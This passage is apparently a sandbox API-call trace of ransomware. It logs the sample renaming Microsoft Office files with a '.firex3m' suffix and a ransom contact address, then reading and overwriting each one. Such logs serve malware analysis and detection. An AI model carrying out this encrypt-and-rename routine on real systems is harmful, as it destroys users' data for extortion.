lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x370068bd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10dc, dwReserved0=0xab47496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f40 [0189.678] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0189.678] Sleep (dwMilliseconds=0x1) [0189.681] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF", len=0x49 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF") returned 1 [0189.681] GetProcessHeap () returned 0x630000 [0189.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2970) returned 0x707d3d0 [0189.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0189.681] CloseHandle (hObject=0x67c) returned 1 [0189.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~1.FIR")) returned 0x6d5280 [0189.683] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0189.683] GetProcessHeap () returned 0x630000 [0189.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7456270 [0189.683] GetProcessHeap () returned 0x630000 [0189.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0189.684] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.684] ReadFile (in: hFile=0x67c, lpBuffer=0x7456270, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7456270*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.815] GetProcessHeap () returned 0x630000 [0194.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0194.815] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.815] WriteFile (in: hFile=0x67c, lpBuffer=0x7264620*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.891] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.891] WriteFile (in: hFile=0x67c, lpBuffer=0x726fa1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa1f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.891] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.891] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.891] CloseHandle (hObject=0x67c) returned 1 [0195.891] GetProcessHeap () returned 0x630000 [0195.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0195.891] GetProcessHeap () returned 0x630000 [0195.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7456270 | out: hHeap=0x630000) returned 1 [0195.892] GetProcessHeap () returned 0x630000 [0195.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0196.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3ab5cdce, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdb52, dwReserved0=0xab47496, dwReserved1=0x7456268, cFileName="ZPDIR5F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~1.FIR")) returned 0x6d5580 [0196.296] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0196.296] Sleep (dwMilliseconds=0x1) [0196.323] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", len=0x4c | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt") returned 1 [0196.323] GetProcessHeap () returned 0x630000 [0196.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4778) returned 0x7133a90 [0196.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0196.414] CloseHandle (hObject=0x6d0) returned 1 [0196.414] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56bc, dwReserved0=0x6d, dwReserved1=0x0, cFileName="List.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LISTAC~1.FIR")) returned 0x6d5240 [0196.416] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0196.416] GetProcessHeap () returned 0x630000 [0196.416] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56c1) returned 0x72292c8 [0196.416] GetProcessHeap () returned 0x630000 [0196.416] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56c1) returned 0x718b7d8 [0196.417] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.417] ReadFile (in: hFile=0x6d0, lpBuffer=0x72292c8, nNumberOfBytesToRead=0x56a0, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72292c8*, lpNumberOfBytesRead=0x59bff0c*=0x56a0, lpOverlapped=0x0) returned 1 [0200.953] GetProcessHeap () returned 0x630000 [0200.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0200.954] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.954] WriteFile (in: hFile=0x6d0, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0x56a0, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x59bff0c*=0x56a0, lpOverlapped=0x0) returned 1 [0200.954] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.954] WriteFile (in: hFile=0x6d0, lpBuffer=0x7190e77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7190e77*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0200.954] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.954] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0200.954] CloseHandle (hObject=0x6d0) returned 1 [0200.954] GetProcessHeap () returned 0x630000 [0200.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0200.954] GetProcessHeap () returned 0x630000 [0200.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72292c8 | out: hHeap=0x630000) returned 1 [0200.954] GetProcessHeap () returned 0x630000 [0200.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0200.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3dba665e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x56e0, dwReserved0=0xab47496, dwReserved1=0x72292c0, cFileName="List.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LISTAC~1.FIR")) returned 0x6d5000 [0200.955] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0200.955] Sleep (dwMilliseconds=0x1) [0202.685] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll", len=0x83 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll") returned 1 [0202.685] GetProcessHeap () returned 0x630000 [0202.685] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c00) returned 0x7133a90 [0202.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\msmdsrvi_xl.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0203.082] CloseHandle (hObject=0x4dc) returned 1 [0203.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\msmdsrvi_xl.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114ac0, dwReserved0=0x78005f, dwReserved1=0x2e006c, cFileName="msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5440 [0203.096] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0203.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0203.096] GetProcessHeap () returned 0x630000 [0203.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0203.097] GetProcessHeap () returned 0x630000 [0203.097] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0203.097] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.097] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.421] GetProcessHeap () returned 0x630000 [0211.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0211.421] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.421] WriteFile (in: hFile=0x4dc, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.421] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.421] WriteFile (in: hFile=0x4dc, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.424] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.424] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.425] CloseHandle (hObject=0x4dc) returned 1 [0211.425] GetProcessHeap () returned 0x630000 [0211.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0211.425] GetProcessHeap () returned 0x630000 [0211.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0211.425] GetProcessHeap () returned 0x630000 [0211.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0211.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x43f75119, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114ae4, dwReserved0=0xab47496, dwReserved1=0x6ee88b0, cFileName="msmdsrvi_xl.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5200 [0211.425] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.425] Sleep (dwMilliseconds=0x1) [0213.020] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe", len=0x71 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe") returned 1 [0213.020] GetProcessHeap () returned 0x630000 [0213.020] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4ee0) returned 0x7128660 [0213.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\sqldumper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0213.022] CloseHandle (hObject=0x6a8) returned 1 [0213.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\sqldumper.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\sqldumper.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x310033, dwReserved1=0x5f0032, cFileName="SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLDUM~1.FIR")) returned 0x6d5040 [0213.023] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0213.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\sqldumper.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0213.023] GetProcessHeap () returned 0x630000 [0213.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0213.024] GetProcessHeap () returned 0x630000 [0213.024] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x746bd68 [0213.024] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.024] ReadFile (in: hFile=0x6a8, lpBuffer=0x712f718, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.913] GetProcessHeap () returned 0x630000 [0219.913] RtlAllocateHeap 